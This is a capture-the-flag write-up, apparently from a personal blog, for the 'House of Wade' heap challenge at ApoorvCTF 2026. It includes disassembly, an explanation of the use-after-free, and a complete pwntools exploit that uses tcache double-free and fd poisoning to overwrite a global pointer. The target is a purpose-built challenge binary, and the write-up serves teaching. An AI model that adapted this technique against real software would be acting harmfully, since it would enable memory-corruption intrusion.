639 words
3 minutes
ApoorvCTF 2026 - House of Wade - Binary Exploitation Writeup

Category: Binary Exploitation Flag: apoorvctf{w4d3_4ppr0v3s_0f_y0ur_h34p_sk1llz}

Challenge Description#

Wade’s running a chimichanga shop with a very special counter hidden somewhere in memory. Find it, set it just right, and maybe — just maybe — he’ll hand over the secret recipe.

Analysis#

This one looked like a classic heap challenge from the description alone, and the binary confirmed that quickly. The mitigations were strong enough to rule out lazy stack tricks (canary, NX, Full RELRO), but No PIE immediately meant global addresses are stable and worth targeting.

checksec --file="/home/rei/Downloads/HouseofWade/House of Wade/chall"
[*] '/home/rei/Downloads/HouseofWade/House of Wade/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'/home/rei/Downloads/HouseofWade/House of Wade'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Then I pulled key symbols to figure out what “special counter” really was. chimichanga_count at 0x4040c0 stood out instantly, and did_i_pass looked exactly like the prize gate.

readelf -s "/home/rei/Downloads/HouseofWade/House of Wade/chall" | rg "chimichanga_count|orders|did_i_pass|main"
    18: 00000000004040c0     8 OBJECT  GLOBAL DEFAULT   25 chimichanga_count
    48: 00000000004012dd   302 FUNC    GLOBAL DEFAULT   16 did_i_pass
    50: 000000000040185c   336 FUNC    GLOBAL DEFAULT   16 main
    52: 00000000004040e0    48 OBJECT  GLOBAL DEFAULT   25 orders

Disassembly made the win condition explicit: it dereferences chimichanga_count and compares the 32-bit value there against 0xcafebabe.

objdump -d -M intel --start-address=0x4012dd --stop-address=0x40131c "/home/rei/Downloads/HouseofWade/House of Wade/chall"
00000000004012dd <did_i_pass>:
  4012fb: 48 8b 05 be 2d 00 00    mov    rax,QWORD PTR [rip+0x2dbe]        # 4040c0 <chimichanga_count>
  401302: 48 85 c0                test   rax,rax
  40130b: 48 8b 05 ae 2d 00 00    mov    rax,QWORD PTR [rip+0x2dae]        # 4040c0 <chimichanga_count>
  401312: 8b 00                   mov    eax,DWORD PTR [rax]
  401314: 3d be ba fe ca          cmp    eax,0xcafebabe

Once that was clear, the solve became “get a write at/near 0x4040c0.” The menu logic had exactly the bug we needed: cancel_order frees a chunk but never nulls the slot, and modify_order still writes to that dangling pointer. That gives a UAF write on freed tcache chunks. First attempt with a single free and poison looked elegant but failed because tcache count semantics meant the poisoned forward pointer never got consumed.

tableflip

The working approach was a controlled double-free pattern: free once, leak the safe-linking key from the freed chunk, corrupt the tcache key byte to bypass double-free detection, free again, poison the fd, then allocate twice so the second allocation lands on the global target. After that, writing p64(0x4040c8) + p32(0xcafebabe) into the poisoned allocation made chimichanga_count point to controlled data containing the magic value. Claiming the prize then printed the flag from /flag.txt.

When it finally lined up remotely and printed the flag, that was a very satisfying heap moment.

smile

Solution#

# exploit.py
from pwn import *
import re

HOST = "chals1.apoorvctf.xyz"
PORT = 6001

CHALL = "/home/rei/Downloads/HouseofWade/House of Wade/chall"

context.log_level = "info"
context.binary = ELF(CHALL, checksec=False)

TARGET_PTR = 0x4040C0   # chimichanga_count
FAKE_COUNTER = 0x4040C8 # writable address for 0xcafebabe


def start():
    return remote(HOST, PORT)


def menu(io, n: int):
    io.sendlineafter(b"> ", str(n).encode())


def send_slot(io, idx: int):
    io.sendlineafter(b"Slot: ", str(idx).encode())


def new_order(io):
    menu(io, 1)


def cancel(io, idx: int):
    menu(io, 2)
    send_slot(io, idx)


def inspect_order(io, idx: int) -> bytes:
    menu(io, 3)
    send_slot(io, idx)
    io.recvuntil(b'off."\n')
    return io.recvn(0x28)


def modify(io, idx: int, data: bytes):
    menu(io, 4)
    send_slot(io, idx)
    io.send(data + b"\n")


def claim(io):
    menu(io, 5)


def attempt_once() -> str | None:
    io = start()
    try:
        new_order(io)     # slot 0 = A
        cancel(io, 0)     # free A

        leak = inspect_order(io, 0)
        key = u64(leak[:8])

        # bypass tcache double-free key check
        modify(io, 0, b"A" * 8 + b"B")
        cancel(io, 0)     # free A again

        poisoned_fd = TARGET_PTR ^ key
        enc = p64(poisoned_fd)
        if b"\n" in enc:
            return None
        modify(io, 0, enc)

        new_order(io)     # slot 1 -> A
        new_order(io)     # slot 2 -> TARGET_PTR

        payload = flat(
            p64(FAKE_COUNTER),
            p32(0xCAFEBABE),
        )
        modify(io, 2, payload)

        claim(io)
        out = io.recvrepeat()
        m = re.search(rb"[A-Za-z0-9_]+\{[^}]+\}", out)
        return m.group(0).decode() if m else None
    finally:
        io.close()


def main():
    for _ in range(20):
        flag = attempt_once()
        if flag:
            print(flag)
            return
    raise SystemExit("Exploit attempts exhausted without flag")


if __name__ == "__main__":
    main()
python /home/rei/Downloads/HouseofWade/exploit.py
[+] flag: apoorvctf{w4d3_4ppr0v3s_0f_y0ur_h34p_sk1llz}
apoorvctf{w4d3_4ppr0v3s_0f_y0ur_h34p_sk1llz}
ApoorvCTF 2026 - House of Wade - Binary Exploitation Writeup
https://blog.rei.my.id/posts/110/apoorvctf-2026-house-of-wade-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-10
License
CC BY-NC-SA 4.0